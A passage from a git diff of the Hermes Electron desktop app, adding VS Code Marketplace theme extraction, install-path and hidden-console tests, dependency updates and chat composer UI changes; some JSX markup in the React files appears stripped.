+ const commentLen = buf.readUInt16LE(offset + 32)
+ const localOffset = buf.readUInt32LE(offset + 42)
+ const name = buf.toString('utf8', offset + 46, offset + 46 + nameLen)
+
+ records.set(name, { method, compressedSize, localOffset })
+ offset += 46 + nameLen + extraLen + commentLen
+ }
+
+ return records
+}
+
+/** Inflate a single entry to a string. */
+function extractEntry(buf, record) {
+ // The local header's name/extra lengths can differ from the central record,
+ // so re-read them here to locate the compressed payload.
+ if (buf.readUInt32LE(record.localOffset) !== 0x04034b50) {
+ throw new Error('Corrupt zip: bad local file header.')
+ }
+
+ const nameLen = buf.readUInt16LE(record.localOffset + 26)
+ const extraLen = buf.readUInt16LE(record.localOffset + 28)
+ const dataStart = record.localOffset + 30 + nameLen + extraLen
+ const data = buf.subarray(dataStart, dataStart + record.compressedSize)
+
+ // 0 = stored, 8 = deflate. Theme files are one or the other.
+ return record.method === 0 ? data.toString('utf8') : zlib.inflateRawSync(data).toString('utf8')
+}
+
+/** Normalize a package.json theme path to its zip entry name. */
+function themeEntryName(themePath) {
+ const clean = String(themePath).replace(/^\.\//, '').replace(/^\//, '')
+
+ return `extension/${clean}`
+}
+
+/** Extract every contributed color theme from a `.vsix` buffer. */
+function extractThemes(vsixBuffer) {
+ const records = readCentralDirectory(vsixBuffer)
+ const pkgRecord = records.get('extension/package.json')
+
+ if (!pkgRecord) {
+ throw new Error('Package manifest missing from the extension.')
+ }
+
+ const pkg = JSON.parse(extractEntry(vsixBuffer, pkgRecord))
+ const contributed = pkg?.contributes?.themes
+
+ if (!Array.isArray(contributed) || contributed.length === 0) {
+ return []
+ }
+
+ const themes = []
+
+ for (const entry of contributed) {
+ if (!entry?.path) {
+ continue
+ }
+
+ const record = records.get(themeEntryName(entry.path))
+
+ if (!record) {
+ continue
+ }
+
+ try {
+ themes.push({
+ label: entry.label || entry.id || pkg.displayName || pkg.name || 'VS Code Theme',
+ uiTheme: entry.uiTheme,
+ contents: extractEntry(vsixBuffer, record)
+ })
+ } catch {
+ // Skip an entry we can't inflate rather than failing the whole install.
+ }
+ }
+
+ return themes
+}
+
+/**
+ * Public entry: resolve, download, and extract color themes for `id`
+ * (`publisher.extension`). Returns `{ extensionId, displayName, themes }`.
+ */
+async function fetchMarketplaceThemes(id) {
+ const trimmed = String(id || '').trim()
+
+ if (!ID_RE.test(trimmed)) {
+ throw new Error('Expected a Marketplace id like "publisher.extension".')
+ }
+
+ const { displayName, vsixUrl } = await resolveExtension(trimmed)
+ const vsix = await request(vsixUrl, { headers: { 'User-Agent': 'Hermes-Desktop' } })
+ const themes = extractThemes(vsix)
+
+ return { extensionId: trimmed, displayName, themes }
+}
+
+module.exports = {
+ fetchMarketplaceThemes,
+ searchMarketplaceThemes,
+ extractThemes,
+ readCentralDirectory,
+ __testing: { themeEntryName, looksLikeIconTheme }
+}
diff --git a/apps/desktop/electron/vscode-marketplace.test.cjs b/apps/desktop/electron/vscode-marketplace.test.cjs
new file mode 100644
index 000000000000..45169044bfa3
--- /dev/null
+++ b/apps/desktop/electron/vscode-marketplace.test.cjs
@@ -0,0 +1,113 @@
+'use strict'
+
+const assert = require('node:assert')
+const test = require('node:test')
+
+const { __testing, extractThemes, readCentralDirectory } = require('./vscode-marketplace.cjs')
+
+// Build a minimal zip with stored (uncompressed) entries so the test controls
+// the bytes exactly — exercises the central-directory reader + theme extraction
+// without a deflate dependency.
+function makeZip(entries) {
+ const locals = []
+ const centrals = []
+ let offset = 0
+
+ for (const { name, data } of entries) {
+ const nameBuf = Buffer.from(name, 'utf8')
+ const body = Buffer.from(data, 'utf8')
+
+ const local = Buffer.alloc(30 + nameBuf.length)
+ local.writeUInt32LE(0x04034b50, 0)
+ local.writeUInt16LE(0, 8) // method: stored
+ local.writeUInt32LE(body.length, 18) // compressed size
+ local.writeUInt32LE(body.length, 22) // uncompressed size
+ local.writeUInt16LE(nameBuf.length, 26)
+ nameBuf.copy(local, 30)
+
+ locals.push(local, body)
+
+ const central = Buffer.alloc(46 + nameBuf.length)
+ central.writeUInt32LE(0x02014b50, 0)
+ central.writeUInt16LE(0, 10) // method: stored
+ central.writeUInt32LE(body.length, 20)
+ central.writeUInt32LE(body.length, 24)
+ central.writeUInt16LE(nameBuf.length, 28)
+ central.writeUInt32LE(offset, 42) // local header offset
+ nameBuf.copy(central, 46)
+
+ centrals.push(central)
+ offset += local.length + body.length
+ }
+
+ const centralStart = offset
+ const centralBuf = Buffer.concat(centrals)
+
+ const eocd = Buffer.alloc(22)
+ eocd.writeUInt32LE(0x06054b50, 0)
+ eocd.writeUInt16LE(entries.length, 8)
+ eocd.writeUInt16LE(entries.length, 10)
+ eocd.writeUInt32LE(centralBuf.length, 12)
+ eocd.writeUInt32LE(centralStart, 16)
+
+ return Buffer.concat([...locals, centralBuf, eocd])
+}
+
+test('readCentralDirectory finds every entry', () => {
+ const zip = makeZip([
+ { name: 'extension/package.json', data: '{}' },
+ { name: 'extension/themes/x.json', data: '{}' }
+ ])
+
+ const records = readCentralDirectory(zip)
+ assert.ok(records.has('extension/package.json'))
+ assert.ok(records.has('extension/themes/x.json'))
+})
+
+test('extractThemes reads contributed color themes (resolving ./ paths)', () => {
+ const pkg = JSON.stringify({
+ name: 'theme-dracula',
+ displayName: 'Dracula',
+ contributes: {
+ themes: [{ label: 'Dracula', uiTheme: 'vs-dark', path: './themes/dracula.json' }]
+ }
+ })
+ const themeJson = JSON.stringify({ name: 'Dracula', type: 'dark', colors: { 'editor.background': '#282a36' } })
+
+ const zip = makeZip([
+ { name: 'extension/package.json', data: pkg },
+ { name: 'extension/themes/dracula.json', data: themeJson }
+ ])
+
+ const themes = extractThemes(zip)
+ assert.strictEqual(themes.length, 1)
+ assert.strictEqual(themes[0].label, 'Dracula')
+ assert.strictEqual(themes[0].uiTheme, 'vs-dark')
+ assert.match(themes[0].contents, /editor\.background/)
+})
+
+test('extractThemes returns empty when the extension contributes no themes', () => {
+ const zip = makeZip([{ name: 'extension/package.json', data: JSON.stringify({ name: 'x', contributes: {} }) }])
+ assert.deepStrictEqual(extractThemes(zip), [])
+})
+
+test('extractThemes throws when the manifest is missing', () => {
+ const zip = makeZip([{ name: 'extension/other.txt', data: 'hi' }])
+ assert.throws(() => extractThemes(zip), /manifest missing/i)
+})
+
+test('looksLikeIconTheme filters icon/product-icon packs out of theme search', () => {
+ const { looksLikeIconTheme } = __testing
+
+ // Tagged contribution points are the strongest signal.
+ assert.strictEqual(looksLikeIconTheme({ tags: ['theme', 'icon-theme'] }), true)
+ assert.strictEqual(looksLikeIconTheme({ tags: ['product-icon-theme'] }), true)
+
+ // Name/description fallback for packs that don't tag themselves.
+ assert.strictEqual(looksLikeIconTheme({ displayName: 'Material Icon Theme' }), true)
+ assert.strictEqual(looksLikeIconTheme({ shortDescription: 'A pack of file icons.' }), true)
+
+ // Real color themes survive.
+ assert.strictEqual(looksLikeIconTheme({ displayName: 'Dracula Official', tags: ['theme', 'color-theme'] }), false)
+ assert.strictEqual(looksLikeIconTheme({ displayName: 'One Dark Pro' }), false)
+})
diff --git a/apps/desktop/electron/windows-child-process.test.cjs b/apps/desktop/electron/windows-child-process.test.cjs
new file mode 100644
index 000000000000..92989c978bb8
--- /dev/null
+++ b/apps/desktop/electron/windows-child-process.test.cjs
@@ -0,0 +1,54 @@
+'use strict'
+
+const test = require('node:test')
+const assert = require('node:assert/strict')
+const fs = require('node:fs')
+const path = require('node:path')
+
+const ELECTRON_DIR = __dirname
+
+function readElectronFile(name) {
+ return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8').replace(/\r\n/g, '\n')
+}
+
+function requireHiddenChildOptions(source, needle) {
+ const index = source.indexOf(needle)
+ assert.notEqual(index, -1, `missing call site: ${needle}`)
+ const snippet = source.slice(index, index + 700)
+ assert.match(
+ snippet,
+ /hiddenWindowsChildOptions\(/,
+ `expected ${needle} to wrap child-process options with hiddenWindowsChildOptions`
+ )
+}
+
+test('desktop background child processes opt into hidden Windows consoles', () => {
+ const source = readElectronFile('main.cjs')
+
+ assert.match(source, /function hiddenWindowsChildOptions\(options = \{\}\)/)
+
+ requireHiddenChildOptions(source, "execFileSync(\n 'reg'")
+ requireHiddenChildOptions(source, 'execFileSync(pyExe')
+ requireHiddenChildOptions(source, 'spawn(resolveGitBinary()')
+ requireHiddenChildOptions(source, "execFileSync('taskkill'")
+ requireHiddenChildOptions(source, 'spawn(command, args')
+ requireHiddenChildOptions(source, "spawn('curl'")
+ requireHiddenChildOptions(source, 'spawn(backend.command, backend.args')
+ requireHiddenChildOptions(source, 'hermesProcess = spawn(backend.command, backend.args')
+ requireHiddenChildOptions(source, "spawn(py, ['-m', 'hermes_cli.main', 'uninstall', '--gui-summary']")
+})
+
+test('intentional or interactive desktop child processes stay documented', () => {
+ const source = readElectronFile('main.cjs')
+
+ assert.match(source, /windowsHide: false/)
+ assert.match(source, /nodePty\.spawn\(command, args/)
+ assert.match(source, /spawn\('cmd\.exe', \['\/c', 'start'/)
+})
+
+test('bootstrap PowerShell runner hides Windows console children', () => {
+ const source = readElectronFile('bootstrap-runner.cjs')
+
+ assert.match(source, /function hiddenWindowsChildOptions\(options = \{\}\)/)
+ requireHiddenChildOptions(source, 'spawn(ps, fullArgs')
+})
diff --git a/apps/desktop/electron/workspace-cwd.cjs b/apps/desktop/electron/workspace-cwd.cjs
new file mode 100644
index 000000000000..2955975b0b06
--- /dev/null
+++ b/apps/desktop/electron/workspace-cwd.cjs
@@ -0,0 +1,38 @@
+const path = require('node:path')
+
+/** True when `dir` lives inside a packaged app bundle / install tree. */
+function isPackagedInstallPath(dir, { installRoots, isPackaged }) {
+ if (!isPackaged || !dir) {
+ return false
+ }
+
+ let resolved
+
+ try {
+ resolved = path.resolve(String(dir))
+ } catch {
+ return false
+ }
+
+ const roots = new Set(
+ (installRoots ?? [])
+ .filter(Boolean)
+ .map(candidate => path.resolve(String(candidate)))
+ )
+
+ for (const root of roots) {
+ if (resolved === root) {
+ return true
+ }
+
+ const rel = path.relative(root, resolved)
+
+ if (rel && !rel.startsWith('..') && !path.isAbsolute(rel)) {
+ return true
+ }
+ }
+
+ return false
+}
+
+module.exports = { isPackagedInstallPath }
diff --git a/apps/desktop/electron/workspace-cwd.test.cjs b/apps/desktop/electron/workspace-cwd.test.cjs
new file mode 100644
index 000000000000..760fb9d08ef6
--- /dev/null
+++ b/apps/desktop/electron/workspace-cwd.test.cjs
@@ -0,0 +1,45 @@
+/**
+ * Tests for electron/workspace-cwd.cjs.
+ *
+ * Run with: node --test electron/workspace-cwd.test.cjs
+ */
+
+const test = require('node:test')
+const assert = require('node:assert/strict')
+const path = require('node:path')
+
+const { isPackagedInstallPath } = require('./workspace-cwd.cjs')
+
+const installRoot = path.resolve('/opt/Hermes')
+
+test('isPackagedInstallPath returns false when not packaged', () => {
+ assert.equal(
+ isPackagedInstallPath(installRoot, { isPackaged: false, installRoots: [installRoot] }),
+ false
+ )
+})
+
+test('isPackagedInstallPath flags the install root itself', () => {
+ assert.equal(
+ isPackagedInstallPath(installRoot, { isPackaged: true, installRoots: [installRoot] }),
+ true
+ )
+})
+
+test('isPackagedInstallPath flags paths nested under the install root', () => {
+ const nested = path.join(installRoot, 'resources', 'app.asar')
+
+ assert.equal(
+ isPackagedInstallPath(nested, { isPackaged: true, installRoots: [installRoot] }),
+ true
+ )
+})
+
+test('isPackagedInstallPath ignores paths outside the install root', () => {
+ const homeProject = path.resolve('/home/user/projects/demo')
+
+ assert.equal(
+ isPackagedInstallPath(homeProject, { isPackaged: true, installRoots: [installRoot] }),
+ false
+ )
+})
diff --git a/apps/desktop/eslint.config.mjs b/apps/desktop/eslint.config.mjs
index 7650c747dbe1..069a0056bbb9 100644
--- a/apps/desktop/eslint.config.mjs
+++ b/apps/desktop/eslint.config.mjs
@@ -3,7 +3,6 @@ import typescriptEslint from '@typescript-eslint/eslint-plugin'
import typescriptParser from '@typescript-eslint/parser'
import perfectionist from 'eslint-plugin-perfectionist'
import reactPlugin from 'eslint-plugin-react'
-import reactCompiler from 'eslint-plugin-react-compiler'
import hooksPlugin from 'eslint-plugin-react-hooks'
import unusedImports from 'eslint-plugin-unused-imports'
import globals from 'globals'
@@ -47,7 +46,6 @@ export default [
'custom-rules': customRules,
perfectionist,
react: reactPlugin,
- 'react-compiler': reactCompiler,
'react-hooks': hooksPlugin,
'unused-imports': unusedImports
},
@@ -98,7 +96,6 @@ export default [
'perfectionist/sort-jsx-props': ['error', { order: 'asc', type: 'natural' }],
'perfectionist/sort-named-exports': ['error', { order: 'asc', type: 'natural' }],
'perfectionist/sort-named-imports': ['error', { order: 'asc', type: 'natural' }],
- 'react-compiler/react-compiler': 'warn',
'react-hooks/exhaustive-deps': 'warn',
'react-hooks/rules-of-hooks': 'error',
'unused-imports/no-unused-imports': 'error'
diff --git a/apps/desktop/package.json b/apps/desktop/package.json
index 22f7a9dd4b6e..d78416589f62 100644
--- a/apps/desktop/package.json
+++ b/apps/desktop/package.json
@@ -18,7 +18,8 @@
"profile:main": "wait-on http://127.0.0.1:5174 && cross-env XCURSOR_SIZE=24 HERMES_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron --inspect=9229 .",
"profile:main:cpu": "wait-on http://127.0.0.1:5174 && cross-env XCURSOR_SIZE=24 NODE_OPTIONS=--cpu-prof HERMES_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron .",
"start": "npm run build && electron .",
- "build": "node scripts/assert-root-install.cjs && node scripts/write-build-stamp.cjs && node scripts/stage-native-deps.cjs && tsc -b && vite build && node scripts/assert-dist-built.cjs",
+ "build": "node scripts/assert-root-install.cjs && node scripts/write-build-stamp.cjs && node scripts/stage-native-deps.cjs && tsc -b && vite build && npm run postbuild",
+ "postbuild": "node scripts/assert-dist-built.cjs",
"builder": "cross-env NODE_OPTIONS=--max-old-space-size=16384 electron-builder",
"pack": "npm run build && npm run builder -- --dir",
"dist": "npm run build && npm run builder",
@@ -35,8 +36,8 @@
"test:desktop:nsis": "node scripts/test-desktop.mjs nsis",
"test:desktop:existing": "node scripts/test-desktop.mjs existing",
"test:desktop:fresh": "node scripts/test-desktop.mjs fresh",
- "test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs",
- "type-check": "tsc -b",
+ "test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-env.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/dashboard-token.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/port-pool.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
+ "typecheck": "tsc -p . --noEmit",
"lint": "eslint src/ electron/",
"lint:fix": "eslint src/ electron/ --fix",
"fmt": "prettier --write 'src/**/*.{ts,tsx}' 'electron/**/*.{js,cjs}' 'vite.config.ts'",
@@ -72,6 +73,7 @@
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"cmdk": "^1.1.1",
+ "dnd-core": "^14.0.1",
"hast-util-from-html-isomorphic": "^2.0.0",
"hast-util-to-text": "^4.0.2",
"ignore": "^7.0.5",
@@ -83,6 +85,7 @@
"radix-ui": "^1.4.3",
"react": "^19.2.5",
"react-arborist": "^3.5.0",
+ "react-dnd-html5-backend": "^14.0.3",
"react-dom": "^19.2.5",
"react-router-dom": "^7.17.0",
"react-shiki": "^0.9.3",
@@ -103,20 +106,19 @@
"@testing-library/dom": "^10.4.0",
"@testing-library/react": "^16.3.2",
"@types/hast": "^3.0.4",
- "@types/node": "^24.12.2",
+ "@types/node": "^24.13.2",
"@types/react": "^19.2.14",
"@types/react-dom": "^19.2.3",
"@typescript-eslint/eslint-plugin": "^8.59.1",
"@typescript-eslint/parser": "^8.59.1",
"@vitejs/plugin-react": "^6.0.1",
- "concurrently": "^9.2.1",
+ "concurrently": "^10.0.3",
"cross-env": "^10.1.0",
"electron": "^40.9.3",
"electron-builder": "^26.8.1",
"eslint": "^9.39.4",
"eslint-plugin-perfectionist": "^5.9.0",
"eslint-plugin-react": "^7.37.5",
- "eslint-plugin-react-compiler": "^19.1.0-rc.2",
"eslint-plugin-react-hooks": "^7.1.1",
"eslint-plugin-unused-imports": "^4.4.1",
"globals": "^16.5.0",
@@ -133,6 +135,14 @@
"appId": "com.nousresearch.hermes",
"productName": "Hermes",
"executableName": "Hermes",
+ "protocols": [
+ {
+ "name": "Hermes Protocol",
+ "schemes": [
+ "hermes"
+ ]
+ }
+ ],
"artifactName": "Hermes-${version}-${os}-${arch}.${ext}",
"icon": "assets/icon",
"directories": {
diff --git a/apps/desktop/public/apple-touch-icon.png b/apps/desktop/public/apple-touch-icon.png
index ed92319bb0f1..1910487428d2 100644
Binary files a/apps/desktop/public/apple-touch-icon.png and b/apps/desktop/public/apple-touch-icon.png differ
diff --git a/apps/desktop/src/app/artifacts/index.tsx b/apps/desktop/src/app/artifacts/index.tsx
index fd1569d7caf4..8e98dd9d40d3 100644
--- a/apps/desktop/src/app/artifacts/index.tsx
+++ b/apps/desktop/src/app/artifacts/index.tsx
@@ -18,7 +18,7 @@ import {
} from '@/components/ui/pagination'
import { TextTab, TextTabMeta } from '@/components/ui/text-tab'
import { Tip } from '@/components/ui/tooltip'
-import { getSessionMessages, listSessions } from '@/hermes'
+import { getSessionMessages, listAllProfileSessions } from '@/hermes'
import { type Translations, useI18n } from '@/i18n'
import { sessionTitle } from '@/lib/chat-runtime'
import { ExternalLink, ExternalLinkIcon, hostPathLabel, urlSlugTitleLabel, useLinkTitle } from '@/lib/external-link'
@@ -388,8 +388,8 @@ export function ArtifactsView({ setStatusbarItemGroup: _setStatusbarItemGroup, .
setRefreshing(true)
try {
- const sessions = (await listSessions(30, 1)).sessions
- const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id)))
+ const sessions = (await listAllProfileSessions(30, 1)).sessions
+ const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id, session.profile)))
const nextArtifacts: ArtifactRecord[] = []
results.forEach((result, index) => {
diff --git a/apps/desktop/src/app/chat/composer/attachments.tsx b/apps/desktop/src/app/chat/composer/attachments.tsx
index 0c154a8a4b15..6229c9da8bd7 100644
--- a/apps/desktop/src/app/chat/composer/attachments.tsx
+++ b/apps/desktop/src/app/chat/composer/attachments.tsx
@@ -3,8 +3,9 @@ import { useStore } from '@nanostores/react'
import { Codicon } from '@/components/ui/codicon'
import { Tip } from '@/components/ui/tooltip'
import { useI18n } from '@/i18n'
-import { FileText, FolderOpen, ImageIcon, Link, Terminal } from '@/lib/icons'
+import { AlertCircle, FileText, FolderOpen, ImageIcon, Link, Loader2, Terminal } from '@/lib/icons'
import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
+import { cn } from '@/lib/utils'
import type { ComposerAttachment } from '@/store/composer'
import { notifyError } from '@/store/notifications'
import { setCurrentSessionPreviewTarget } from '@/store/preview'
@@ -31,7 +32,9 @@ function AttachmentPill({ attachment, onRemove }: { attachment: ComposerAttachme
const c = t.composer
const Icon = { folder: FolderOpen, url: Link, image: ImageIcon, file: FileText, terminal: Terminal }[attachment.kind]
const cwd = useStore($currentCwd)
- const canPreview = attachment.kind !== 'folder' && attachment.kind !== 'terminal'
+ const isUploading = attachment.uploadState === 'uploading'
+ const hasUploadError = attachment.uploadState === 'error'
+ const canPreview = attachment.kind !== 'folder' && attachment.kind !== 'terminal' && !isUploading
const detail = attachment.detail && attachment.detail !== attachment.label ? attachment.detail : undefined
async function openPreview() {
@@ -59,7 +62,15 @@ function AttachmentPill({ attachment, onRemove }: { attachment: ComposerAttachme
throw new Error(c.couldNotPreview(attachment.label))
}
- setCurrentSessionPreviewTarget(preview, 'manual', target)
+ // We already hold the image bytes (the card thumbnail) — render those
+ // directly so a screenshot/clipboard image previews even when its only
+ // on-disk copy is a transient path the renderer can't re-read.
+ const withBytes =
+ attachment.kind === 'image' && attachment.previewUrl
+ ? { ...preview, dataUrl: attachment.previewUrl, previewKind: 'image' as const }
+ : preview
+
+ setCurrentSessionPreviewTarget(withBytes, 'manual', target)
} catch (error) {
notifyError(error, c.previewUnavailable)
}
@@ -69,30 +80,51 @@ function AttachmentPill({ attachment, onRemove }: { attachment: ComposerAttachme
void openPreview()}
type="button"
>
- {attachment.previewUrl && attachment.kind === 'image' ? (
-
- ) : (
-
+
+ {attachment.previewUrl && attachment.kind === 'image' ? (
+
+ ) : (
-
- )}
+ )}
+ {isUploading && (
+
+
+
+ )}
+ {hasUploadError && (
+
+
+
+ )}
+
{attachment.label}
{detail && (
-
+
{detail}
)}
diff --git a/apps/desktop/src/app/chat/composer/completion-drawer.tsx b/apps/desktop/src/app/chat/composer/completion-drawer.tsx
index 8b23c54f879b..d7738cb82a7e 100644
--- a/apps/desktop/src/app/chat/composer/completion-drawer.tsx
+++ b/apps/desktop/src/app/chat/composer/completion-drawer.tsx
@@ -3,32 +3,25 @@ import { ComposerPrimitive } from '@assistant-ui/react'
import type { ReactNode } from 'react'
export const COMPLETION_DRAWER_CLASS = [
- 'absolute bottom-[calc(100%+0.25rem)] left-0 z-50',
- 'w-60 max-w-[calc(100vw-2rem)]',
- 'max-h-[min(23rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
- 'rounded-lg border border-(--ui-stroke-secondary)',
- 'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)]',
- 'p-1 text-xs text-popover-foreground shadow-md',
+ 'absolute bottom-[calc(100%+0.375rem)] left-0 z-50',
+ 'w-80 max-w-[calc(100vw-2rem)]',
+ 'max-h-[min(22rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
+ 'rounded-xl border border-(--ui-stroke-secondary)',
+ 'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_97%,transparent)]',
+ 'p-1 text-xs text-popover-foreground shadow-lg',
'backdrop-blur-md'
].join(' ')
export const COMPLETION_DRAWER_BELOW_CLASS = [
- 'absolute left-0 top-[calc(100%+0.25rem)] z-50',
- 'w-60 max-w-[calc(100vw-2rem)]',
- 'max-h-[min(23rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
- 'rounded-lg border border-(--ui-stroke-secondary)',
- 'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)]',
- 'p-1 text-xs text-popover-foreground shadow-md',
+ 'absolute left-0 top-[calc(100%+0.375rem)] z-50',
+ 'w-80 max-w-[calc(100vw-2rem)]',
+ 'max-h-[min(22rem,calc(100vh-8rem))] overflow-y-auto overscroll-contain',
+ 'rounded-xl border border-(--ui-stroke-secondary)',
+ 'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_97%,transparent)]',
+ 'p-1 text-xs text-popover-foreground shadow-lg',
'backdrop-blur-md'
].join(' ')
-export const COMPLETION_DRAWER_ROW_CLASS = [
- 'relative flex cursor-default select-none items-center gap-2 rounded-md px-2 py-1',
- 'w-full min-w-0 text-left text-xs outline-hidden transition-colors',
- 'hover:bg-(--ui-bg-tertiary)',
- 'data-[highlighted]:bg-(--ui-bg-tertiary) data-[highlighted]:text-foreground'
-].join(' ')
-
export function ComposerCompletionDrawer({
adapter,
ariaLabel,
diff --git a/apps/desktop/src/app/chat/composer/controls.tsx b/apps/desktop/src/app/chat/composer/controls.tsx
index 7fbe9efa4a25..ed65795d1c42 100644
--- a/apps/desktop/src/app/chat/composer/controls.tsx
+++ b/apps/desktop/src/app/chat/composer/controls.tsx
@@ -4,6 +4,7 @@ import { Tip } from '@/components/ui/tooltip'
import { useI18n } from '@/i18n'
import { triggerHaptic } from '@/lib/haptics'
import { AudioLines, Layers3, Loader2, Square, SteeringWheel } from '@/lib/icons'
+import { formatCombo } from '@/lib/keybinds/combo'
import { cn } from '@/lib/utils'
import type { ConversationStatus } from './hooks/use-voice-conversation'
@@ -62,6 +63,7 @@ export function ComposerControls({
}) {
const { t } = useI18n()
const c = t.composer
+ const steerLabel = `${c.steer} (${formatCombo('mod+enter')})`
if (conversation.active) {
return
@@ -73,9 +75,9 @@ export function ComposerControls({
{canSteer && (
-
+
void
+ onQueue: (text: string) => void
+ onCancel: () => void
+ onDrain: () => void
+}) {
+ const editorRef = useRef(null)
+ const draftRef = useRef('')
+ // Mirrors `useAuiState(s => s.composer.text)` — updated only via setText, so
+ // it lags the DOM until React re-renders (the source of the bug).
+ const [draft, setDraft] = useState('')
+ const attachments: unknown[] = []
+
+ const composerPlainText = (el: HTMLElement) => el.textContent ?? ''
+
+ const setText = (next: string) => {
+ draftRef.current = next
+ setDraft(next)
+ }
+
+ const submitDraft = () => {
+ const editor = editorRef.current
+ if (editor) {
+ const domText = composerPlainText(editor)
+ if (domText !== draftRef.current) {
+ draftRef.current = domText
+ setDraft(domText)
+ }
+ }
+
+ const text = draftRef.current
+ const payloadPresent = text.trim().length > 0 || attachments.length > 0
+
+ if (busy) {
+ if (payloadPresent) {
+ onQueue(text)
+ } else {
+ onCancel()
+ }
+ } else if (!payloadPresent && queued.length > 0) {
+ onDrain()
+ } else if (payloadPresent) {
+ onSubmit(text)
+ }
+ }
+
+ const handleKeyDown = (event: React.KeyboardEvent) => {
+ if (event.key === 'Enter' && !event.shiftKey) {
+ event.preventDefault()
+
+ const editorText = editorRef.current ? composerPlainText(editorRef.current) : draftRef.current
+ const hasLivePayload = editorText.trim().length > 0 || attachments.length > 0
+
+ if (!busy && !hasLivePayload && queued.length > 0) {
+ onDrain()
+
+ return
+ }
+
+ if (busy && !hasLivePayload) {
+ return
+ }
+
+ submitDraft()
+ }
+ }
+
+ // `draft` is read so the lint/compiler treats the stale-state mirror as live;
+ // the assertions prove the handler never relies on it.
+ void draft
+
+ return (
+ setText(composerPlainText(event.currentTarget))}
+ onKeyDown={handleKeyDown}
+ ref={editorRef}
+ suppressContentEditableWarning
+ />
+ )
+}
+
+describe('composer Enter submit — live DOM vs stale composer state (#39630)', () => {
+ it('sends the just-typed text on Enter even when composer state has not synced', async () => {
+ const onSubmit = vi.fn()
+ const { getByTestId } = render(
+
+ )
+ const editor = getByTestId('editor')
+
+ // Fast typing: the DOM has the text but NO input event fired, so `draft`
+ // state is still empty (the exact stale-state race).
+ await act(async () => {
+ editor.textContent = 'hello world'
+ fireEvent.keyDown(editor, { key: 'Enter' })
+ })
+
+ expect(onSubmit).toHaveBeenCalledWith('hello world')
+ })
+
+ it('queues a fast-typed message while busy instead of draining the queue or cancelling', async () => {
+ const onQueue = vi.fn()
+ const onDrain = vi.fn()
+ const onCancel = vi.fn()
+ const { getByTestId } = render(
+
+ )
+ const editor = getByTestId('editor')
+
+ await act(async () => {
+ editor.textContent = 'urgent follow-up'
+ fireEvent.keyDown(editor, { key: 'Enter' })
+ })
+
+ expect(onQueue).toHaveBeenCalledWith('urgent follow-up')
+ expect(onDrain).not.toHaveBeenCalled()
+ expect(onCancel).not.toHaveBeenCalled()
+ })
+
+ it('treats an empty Enter while busy as a no-op (never an accidental Stop)', async () => {
+ const onCancel = vi.fn()
+ const onSubmit = vi.fn()
+ const onQueue = vi.fn()
+ const { getByTestId } = render(
+
+ )
+ const editor = getByTestId('editor')
+
+ await act(async () => {
+ editor.textContent = ''
+ fireEvent.keyDown(editor, { key: 'Enter' })
+ })
+
+ expect(onCancel).not.toHaveBeenCalled()
+ expect(onSubmit).not.toHaveBeenCalled()
+ expect(onQueue).not.toHaveBeenCalled()
+ })
+
+ it('drains the next queued prompt on Enter when idle with a truly empty editor', async () => {
+ const onDrain = vi.fn()
+ const onSubmit = vi.fn()
+ const { getByTestId } = render(
+
+ )
+ const editor = getByTestId('editor')
+
+ await act(async () => {
+ editor.textContent = ''
+ fireEvent.keyDown(editor, { key: 'Enter' })
+ })
+
+ expect(onDrain).toHaveBeenCalledTimes(1)
+ expect(onSubmit).not.toHaveBeenCalled()
+ })
+})
diff --git a/apps/desktop/src/app/chat/composer/hooks/use-live-completion-adapter.ts b/apps/desktop/src/app/chat/composer/hooks/use-live-completion-adapter.ts
index fbeca7d59ee2..6da699b602a1 100644
--- a/apps/desktop/src/app/chat/composer/hooks/use-live-completion-adapter.ts
+++ b/apps/desktop/src/app/chat/composer/hooks/use-live-completion-adapter.ts
@@ -5,6 +5,13 @@ export interface CompletionEntry {
text: string
display?: unknown
meta?: unknown
+ /** Optional section label (e.g. "Commands", "Skills"). The popover renders a
+ * header whenever this changes between consecutive items, so the fetcher must
+ * emit entries already grouped contiguously. */
+ group?: string
+ /** Optional completion-action id. When set, picking the item runs that action
+ * (e.g. opening an overlay) instead of inserting a chip + waiting for submit. */
+ action?: string
}
export interface CompletionPayload {
diff --git a/apps/desktop/src/app/chat/composer/hooks/use-slash-completions.ts b/apps/desktop/src/app/chat/composer/hooks/use-slash-completions.ts
index f3344158097b..b0bac82825c1 100644
--- a/apps/desktop/src/app/chat/composer/hooks/use-slash-completions.ts
+++ b/apps/desktop/src/app/chat/composer/hooks/use-slash-completions.ts
@@ -2,12 +2,17 @@ import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-u
import { useCallback } from 'react'
import type { HermesGateway } from '@/hermes'
+import { sessionTitle } from '@/lib/chat-runtime'
import {
type CommandsCatalogLike,
+ desktopSkinSlashCompletions,
desktopSlashDescription,
+ type DesktopThemeCommandOption,
filterDesktopCommandsCatalog,
+ isDesktopSlashExtensionCommand,
isDesktopSlashSuggestion
} from '@/lib/desktop-slash-commands'
+import { $sessions } from '@/store/session'
